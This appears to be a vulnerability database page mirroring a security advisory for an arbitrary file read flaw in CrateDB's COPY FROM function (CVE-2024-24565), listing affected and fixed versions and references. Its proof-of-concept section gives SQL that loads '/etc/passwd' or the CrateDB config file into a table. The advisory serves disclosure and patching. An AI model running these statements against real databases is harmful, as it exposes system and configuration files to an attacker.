CrateDB database has an arbitrary file read vulnerability
Summary
There is an arbitrary file read vulnerability in the CrateDB database, and authenticated CrateDB database users can read any file on the system.
Details
There is a COPY FROM function in the CrateDB database that is used to import file data into database tables. This function has a flaw, and authenticated attackers can use the COPY FROM function to import arbitrary file content into database tables, resulting in information leakage.
PoC
CREATE TABLE info_leak(info_leak STRING);
COPY info_leak FROM '/etc/passwd' with (format='csv', header=false); or COPY info_leak FROM '/crate/config/crate.yml' with (format='csv', header=false);
SELECT * FROM info_leak;

Impact
This vulnerability affects all current versions of the CrateDB database. Attackers who exploit this vulnerability to obtain sensitive information may carry out further attacks, while also affecting CrateDB Cloud Clusters.

Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Java / Kotlin (Maven) | io.crate:crate | < 5.3.9, >= 5.4.0, < 5.4.8, >= 5.5.0, < 5.5.4, >= 5.6.0, < 5.6.1 | 5.3.9, 5.4.8, 5.5.4, 5.6.1 |
Verweise
- https://github.com/crate/crate/security/advisories/GHSA-475g-vj6c-xf96
- https://nvd.nist.gov/vuln/detail/CVE-2024-24565
- https://github.com/crate/crate/commit/32d0fc2ebb834ea324eb7ab5d01320a67bc5c3c7
- https://github.com/crate/crate/commit/4e857d675683095945dd524d6ba03e692c70ecd6
- https://github.com/crate/crate/commit/b75aeeabf90f51bd96ddb499903928fd10185207
- https://github.com/crate/crate/commit/c4c97d5a1c52cc2250ea42d062a3d37550c19dd5
- https://github.com/crate/crate/commit/c5034323f1b56ca5d04b8ef4c6029eb63a5ba172
- https://github.com/crate/crate
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N- Schwäche (CWE)
CWE-22- Plattform
- Java / Kotlin (Maven)
- Paket
io.crate:crate- Veröffentlicht
- 30.01.2024
- Aktualisiert
- 11.10.2026 13:20
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-475g-vj6c-xf96 - CC BY 4.0
Schwachstellenhistorie: io.crate:crate
Alle veröffentlichten Schwachstellen dieses Pakets (Java / Kotlin (Maven)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 4
- Erste → letzte
- 01.2024 07.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 1
- Mittel 2
- Niedrig 1
Veröffentlichungen pro Jahr
- 2024: 3
- 2025: 0
- 2026: 1
-
CrateDB database has an arbitrary file read vulnerability dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.